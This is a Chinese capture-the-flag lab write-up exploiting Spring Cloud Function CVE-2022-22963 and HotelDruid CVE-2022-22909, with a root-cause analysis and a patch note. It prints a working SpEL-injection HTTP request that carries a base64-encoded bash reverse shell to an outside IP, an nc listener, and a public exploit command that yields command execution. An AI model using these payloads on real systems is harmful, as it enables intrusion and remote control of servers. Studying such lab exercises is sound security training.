【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP

【春秋云境】CVE-2022-22963靶场WP

网站地址:https://yunjing.ichunqiu.com/

渗透测试

1.已知提示

  • SpringCloudFunction是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时, HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。 题目链接为:http://ip:port P.S 卡慢不影响拿flag

2.开启靶场

【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP_第1张图片

3.BP抓包

  • 访问路径/functionRouter ,并使用BP抓取请求包,并对其进行修改

  • 修改请求方式为POST,请求体为test。中间添加内容类型为Content-Type: text/plain,并添加恶意代码

    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTYuMTAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}")
    

    其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTYuMTAwLzEyMzQgMD4mMQ==为base64编码后的结果,原式为bash -i >& /dev/tcp/ip/port 0>&1

  • 整体如下

    POST /functionRouter HTTP/1.1
    Host: 47.95.3.91:36363
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTYuMTAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}")
    Content-Type: text/plain
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: COOKIE_LAST_ADMIN_USER=admin; cookies_accepted=1
    Connection: close
    Content-Length: 4
    
    test
    

    【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP_第2张图片

4.反弹shell

  • 在自己的云服务器上监听1234端口(根据自己情况而定,记得修改防火墙规则)然后放行上面修改的请求包,反弹shell成功

    nc -lnvp 1234
    

    【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP_第3张图片

5.执行命令

  • cat /flag从而获得flag

    请添加图片描述

6.漏洞原理

  • Spring Cloud function 主要功能:

    • 通过功能促进业务逻辑的实现
    • 将业务逻辑的开发生命周期与任何特定的运行时目标分离,以便相同的代码可以作为Web端点,流处理器或任务运行
    • 支持无服务器提供商之间的统一编程模型,以及独立运行(本地或PaaS)的能力
    • 在无服务器提供商上启用Spring Boot功能(自动配置,依赖注入,指标)
  • 代码分析

    • 漏洞主要位置在:spring-cloud-function-context-3.2.2.jar!\org\springframework\cloud\function\context\config\RoutingFunction.class

      【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP_第4张图片

    • 从这里获取到spring.cloud.function.routing-expression的值,然后执行functionFromExpression,在这里调用了this.evalContext

      【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP_第5张图片

    • evalContext的本质是实例化了StandardEvaluationContext,StandardEvaluationContext也是最典型的SpEL注入的关键字

      请添加图片描述

    • 漏洞原理倒是没有什么弯弯绕绕的,主要就是SpEL的利用

7.排查建议

  • 添加一个isViaHeader

    • 为true时:headerEvalContext = SimpleEvaluationContext
    • 为false时:evalContext = new StandardEvaluationContext
  • 官方已针对此漏洞发布修复补丁,请受影响的用户尽快修复。

    官方链接:https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

【春秋云境】CVE-2022-22909靶场WP

网站地址:https://yunjing.ichunqiu.com/

渗透测试

1.已知提示

  • Hotel Druid RCE

2.开启靶场

【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP_第6张图片

3.下载工具

  • 工具下载地址

    https://github.com/0z09e/CVE-2022-22909

    【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP_第7张图片

4.使用工具

  • 应用程序没有身份验证,运用该–noauth标志不履行身份验证,使用以下命令

     python3 .\exploit.py -t http://eci-2ze4kesepfiijn8067br.cloudeci1.ichunqiu.com/ --noauth
    

    【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP_第8张图片

5.读取文件

  • 访问/dati/selectappartamenti.php?1=cat /flag

    【春秋云境】CVE-2022-22963靶场WP和CVE-2022-22909靶场WP_第9张图片

成功获得flag

你可能感兴趣的:(春秋云镜,网络安全,web安全)